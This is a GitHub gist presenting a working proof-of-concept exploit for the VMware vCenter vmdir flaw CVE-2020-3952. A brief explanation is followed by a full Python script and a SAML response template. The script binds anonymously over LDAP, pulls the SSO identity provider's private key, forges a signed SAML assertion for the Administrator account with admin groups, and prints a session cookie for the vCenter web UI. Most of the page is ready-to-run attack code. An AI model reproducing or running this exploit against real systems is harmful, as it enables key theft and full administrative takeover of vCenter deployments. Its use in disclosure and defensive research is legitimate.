Skip to content

Instantly share code, notes, and snippets.

@praseodym
Last active January 4, 2023 08:16
Show Gist options
  • Save praseodym/fc2a77cc0d204caa134e72ea05e1668a to your computer and use it in GitHub Desktop.
Save praseodym/fc2a77cc0d204caa134e72ea05e1668a to your computer and use it in GitHub Desktop.
Exploit for VMware vCenter Directory Service (vmdir) - CVE-2020-3952 / VMSA-2020-0006

Exploit for VMware vCenter Directory Service (vmdir) - CVE-2020-3952 / VMSA-2020-0006

This is my proof-of-concept exploit code for the VMware vCenter Directory Service (vmdir) sensitive information disclosure vulnerability (CVE-2020-3952 / VMSA-2020-0006).

It turns out that the vmdir service, which provides an LDAP directory server (and more), allows anonymous LDAP connections (also called LDAP binding) in the ACL MODE: Legacy configuration that is present after upgrading from vCenter 6.5. While the LDAP tree doesn't expose password hashes for administrative users, it does expose the VMware SSO server's SAML identity provider (IdP) certificates and private key. This key can be downloaded and used to sign arbitrary SAML responses, allowing an attacker to impersonate any valid user without credentials.

Usage:

./exploit.py {vCenter IP address}

This will return a session cookie you can set in your browser to log in as Administrator, e.g.:

> ./exploit.py 192.168.2.201
Set this cookie in your browser:
VSPHERE-UI-JSESSIONID=6C70C88C99BC987AADA3D1EC8196F704

And browse to https://192.168.2.201/ui

The exploit works as follows:

  1. Download the SSO SAML IdP certificates and private key from the vmdir LDAP server
  2. Initiate a login request to the vCenter UI to get a SAML authentication request
  3. Update some parameters in the SAML response template (saml-response-template.xml)
  4. Sign the assertion in the SAML response using the SSO IdP key to get a valid SAML response
  5. Log in to the vCenter web UI using the signed response to get a session cookie for a valid administrator session

The SAML response template can be updated to log in as any user with any set of groups.

There is another PoC exploit by Guardicode that adds a new user to the LDAP tree instead.

#!/usr/bin/env python3
import base64
import sys
import zlib
from urllib.parse import parse_qs, quote, unquote, urlparse
import ldap
import lxml.etree as etree
import requests
import urllib3
from signxml import XMLSignatureProcessor, XMLSigner
def get_idp_key(vcenter):
"""Get SSO SAML IdP certificates and key from vmdir"""
def writepem(filename, bytes):
with open(filename, "w") as f:
f.write("-----BEGIN CERTIFICATE-----\n")
f.write(base64.encodebytes(bytes).decode("utf-8"))
f.write("-----END CERTIFICATE-----\n")
def writekey(filename, bytes):
with open(filename, "w") as f:
f.write("-----BEGIN PRIVATE KEY-----\n")
f.write(base64.encodebytes(bytes).decode("utf-8"))
f.write("-----END PRIVATE KEY-----\n")
l = ldap.initialize(f"ldap://{vcenter}:389")
l.simple_bind()
dn = "cn=TenantCredential-1,cn=vsphere.local,cn=Tenants,cn=IdentityManager,cn=Services,dc=vsphere,dc=local"
o = l.search_s(dn, ldap.SCOPE_BASE, "(objectClass=*)")
writepem("idp1.pem", o[0][1]["userCertificate"][0])
writepem("idp2.pem", o[0][1]["userCertificate"][1])
writekey("idp.key", o[0][1]["vmwSTSPrivateKey"][0])
def saml_request(vcenter):
"""Get SAML AuthnRequest from vCenter web UI"""
r = requests.get(f"https://{vcenter}/ui/login", allow_redirects=False, verify=False)
if r.status_code != 302:
raise Exception("expected 302 redirect")
o = urlparse(r.headers["location"])
sr = parse_qs(o.query)["SAMLRequest"][0]
dec = base64.decodebytes(sr.encode("utf-8"))
req = zlib.decompress(dec, -8)
return etree.fromstring(req)
def fill_template(vcenter, req):
"""Fill in the SAML response template"""
t = open("saml-response-template.xml", "r").read()
t = t.replace("$VCENTER", vcenter)
t = t.replace("$ID", req.get("ID"))
t = t.replace("$ISSUEINSTANT", req.get("IssueInstant"))
return etree.fromstring(t.encode("utf-8"))
def sign_assertion(root):
"""Sign the SAML assertion in the response using the IdP key"""
cert1 = open("idp1.pem", "r").read()
cert2 = open("idp2.pem", "r").read()
key = open("idp.key", "r").read()
assertion_id = root.find("{urn:oasis:names:tc:SAML:2.0:assertion}Assertion").get(
"ID"
)
signer = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#")
return signer.sign(root, reference_uri=assertion_id, key=key, cert=[cert1, cert2])
def login(vcenter, saml_resp):
"""Log in to the vCenter web UI using the signed response and return a session cookie"""
resp = etree.tostring(s, xml_declaration=True, encoding="UTF-8", pretty_print=False)
r = requests.post(
f"https://{vcenter}/ui/saml/websso/sso",
allow_redirects=False,
verify=False,
data={"SAMLResponse": base64.encodebytes(resp)},
)
if r.status_code != 302:
raise Exception("expected 302 redirect")
return r.headers["Set-Cookie"].split(";")[0]
vcenter = sys.argv[1]
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
req = saml_request(vcenter)
t = fill_template(vcenter, req)
s = sign_assertion(t)
c = login(vcenter, s)
print(f"Set this cookie in your browser:\n{c}\n\nAnd browse to https://{vcenter}/ui")
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://$VCENTER/ui/saml/websso/sso" ID="_eec012f2ebbc1f420f3dd0961b7f4eea" InResponseTo="$ID" IssueInstant="$ISSUEINSTANT" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://$VCENTER/websso/SAML2/Metadata/vsphere.local</saml2:Issuer>
<saml2p:Status>
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
<saml2p:StatusMessage>Request successful</saml2p:StatusMessage>
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_91c01d7c-5297-4e53-9763-5ef482cb6184" IssueInstant="$ISSUEINSTANT" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://$VCENTER/websso/SAML2/Metadata/vsphere.local</saml2:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature>
<saml2:Subject>
<saml2:NameID Format="http://schemas.xmlsoap.org/claims/UPN">[email protected]</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData InResponseTo="$ID" NotOnOrAfter="2021-04-12T20:26:34.505Z" Recipient="https://$VCENTER/ui/saml/websso/sso"/>
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2020-04-12T16:21:34.505Z" NotOnOrAfter="2021-04-12T20:26:34.505Z">
<saml2:ProxyRestriction Count="10"/>
<saml2:Condition xmlns:rsa="http://www.rsa.com/names/2009/12/std-ext/SAML2.0" Count="10" xsi:type="rsa:RenewRestrictionType"/>
<saml2:AudienceRestriction>
<saml2:Audience>https://$VCENTER/ui/saml/websso/metadata</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="$ISSUEINSTANT" SessionIndex="_50082907a3b0a5fd4f0b6ea5299cf2ea" SessionNotOnOrAfter="2021-04-12T20:26:34.505Z">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement>
<saml2:Attribute FriendlyName="Groups" Name="http://rsa.com/schemas/attr-names/2009/01/GroupIdentity" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\Users</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\CAAdmins</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\ComponentManager.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\SystemConfiguration.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\LicenseService.Administrators</saml2:AttributeValue>
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local\Everyone</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="userPrincipalName" Name="http://schemas.xmlsoap.org/claims/UPN" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">[email protected]</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">vsphere.local</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue xsi:type="xsd:string">Administrator</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment